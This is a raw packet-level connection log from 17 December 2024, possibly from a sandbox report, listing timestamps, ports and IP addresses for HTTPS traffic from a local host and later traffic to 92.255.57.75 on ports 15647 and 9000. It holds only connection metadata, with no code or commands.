Dec 17, 2024 08:38:35.361085892 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.361098051 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.361107111 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.361130953 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.361737013 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.361788988 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.361793995 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.362019062 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.362076998 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.362083912 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.362797022 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.362838030 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.362847090 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.363749981 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.363806963 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.363815069 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.364100933 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.364646912 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.364722967 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.365493059 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.365539074 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.367343903 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.367407084 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.367410898 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.367429972 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.367476940 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.367476940 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.368138075 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.368177891 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.368194103 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.368201017 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.368232012 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.373611927 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.373647928 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.373689890 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.373701096 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.373756886 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.373781919 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.374546051 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.374562025 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.374602079 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.374614000 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.374634981 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.374653101 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.375433922 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.375483036 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.376959085 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.377003908 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.377010107 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.377026081 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.377044916 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.378138065 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.378185034 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.378217936 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.378231049 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.378252983 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.378276110 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.454690933 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.462728977 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.464827061 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.464859009 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.464891911 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.464912891 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.464934111 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.464951992 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.473155022 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.473172903 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.473215103 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.473239899 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.473257065 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.473278999 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.479366064 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.479443073 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.479461908 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.479513884 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.486627102 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.486674070 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.486694098 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.486716032 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.486732006 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.490164042 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.490222931 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.490240097 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.492727995 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.492770910 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.492785931 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.492842913 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.526467085 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.526560068 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.526576996 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.526624918 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.532371044 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.532397985 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.532428026 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.532433987 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.532468081 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.532495975 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.539516926 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.539571047 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.539572954 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.539583921 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.539618969 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.539654016 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.546890974 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.546911955 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.547072887 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.547101974 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.547236919 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.555337906 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.555356026 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.555411100 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.555428028 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.555464029 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.555490017 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.563836098 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.563874006 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.563910961 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.563920021 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.563947916 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.563966990 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.571701050 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.571733952 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.571773052 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.571780920 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.571811914 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.571831942 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.580642939 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.580666065 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.580724955 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.580739021 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.580761909 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.580782890 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.599184036 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.608613014 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.676830053 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.676860094 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.676944017 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.676955938 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.676964998 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.677006960 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.720518112 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.720555067 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.720597029 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.720608950 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.720750093 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.727370977 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.727396965 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.727483988 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.727494955 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.727505922 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.727644920 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.733478069 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.733501911 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.733549118 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.733556986 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.733570099 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.733594894 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.740139008 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.740159035 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.740212917 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.740222931 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.740247011 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.740267038 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.747030973 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.747050047 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.747108936 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.747117996 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.747214079 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.753483057 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.753500938 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.753537893 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.753545046 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.753572941 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.753592014 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.760313988 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.760337114 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.760385990 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.760395050 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.760447025 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.761395931 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.761454105 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.799069881 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.868501902 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.868577003 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.868603945 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.868624926 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.868653059 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.913506031 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.913533926 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.913566113 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.913577080 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.913614035 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.915246964 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.915307999 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.915322065 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.915375948 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.921286106 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.921315908 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.921346903 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.921355009 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.921392918 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.921411037 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.927160978 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.927265882 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.927273035 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.927340031 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.933077097 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.933130980 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.933147907 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.933155060 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.933195114 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.933213949 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.939007998 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.939105988 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.939112902 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.939176083 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.945419073 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.945447922 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.945482969 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.945509911 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.945537090 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.947925091 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.952326059 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.952347040 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.952410936 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.952420950 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.952446938 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.955751896 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.958188057 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.958246946 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.958262920 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.958271027 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.958296061 CET	443	49746	188.114.97.6	192.168.2.5
Dec 17, 2024 08:38:35.958314896 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:35.958338022 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:36.062581062 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:36.075781107 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:36.147350073 CET	49746	443	192.168.2.5	188.114.97.6
Dec 17, 2024 08:38:44.098527908 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.218343973 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:44.218444109 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.305425882 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.425071001 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:44.425177097 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.544841051 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:44.544912100 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.664669037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:44.664913893 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.784630060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:44.784897089 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:44.904545069 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:44.904635906 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:45.024336100 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.024477959 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:45.144421101 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.144473076 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:45.264105082 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.264579058 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:45.384262085 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.384320974 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:45.421546936 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.504007101 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.505693913 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:45.625587940 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:45.825046062 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.227703094 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.300841093 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.300961971 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.347603083 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.420701027 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.420782089 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.540600061 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.540746927 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.660515070 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.660581112 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.661588907 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.727672100 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.821446896 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.821507931 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.852570057 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.930893898 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.941174984 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:46.941240072 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:46.981401920 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.044538975 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.044600010 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.060951948 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.164484024 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.164546013 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.325722933 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.325789928 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.356523037 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.356586933 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.445483923 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.476566076 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.476655006 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.589535952 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.589730978 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.637547016 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.727894068 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.765508890 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.765635967 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.788582087 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.885801077 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.886193037 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:47.901534081 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:47.902138948 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.053462982 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.053653002 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.068597078 CET	49789	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.077570915 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.134001017 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.137865067 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.173464060 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.174762964 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.188368082 CET	9000	49789	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.188730001 CET	49789	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.210978985 CET	49789	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.269582987 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.296061993 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.330725908 CET	9000	49789	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.430872917 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.486671925 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.545917988 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.665621042 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.700721979 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.777481079 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.820554018 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.820602894 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.940687895 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:48.942049026 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:48.981457949 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.061827898 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.085345030 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.173396111 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.205249071 CET	15647	49781	92.255.57.75	192.168.2.5
Dec 17, 2024 08:38:49.205429077 CET	49781	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:38:49.325299025 CET	15647	49781	92.255.57.75	192.168.2.5
